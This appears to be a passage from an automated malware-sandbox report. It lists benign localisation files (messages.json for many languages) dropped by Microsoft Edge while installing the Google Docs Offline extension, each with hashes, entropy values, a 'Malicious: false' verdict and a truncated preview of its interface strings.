C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo 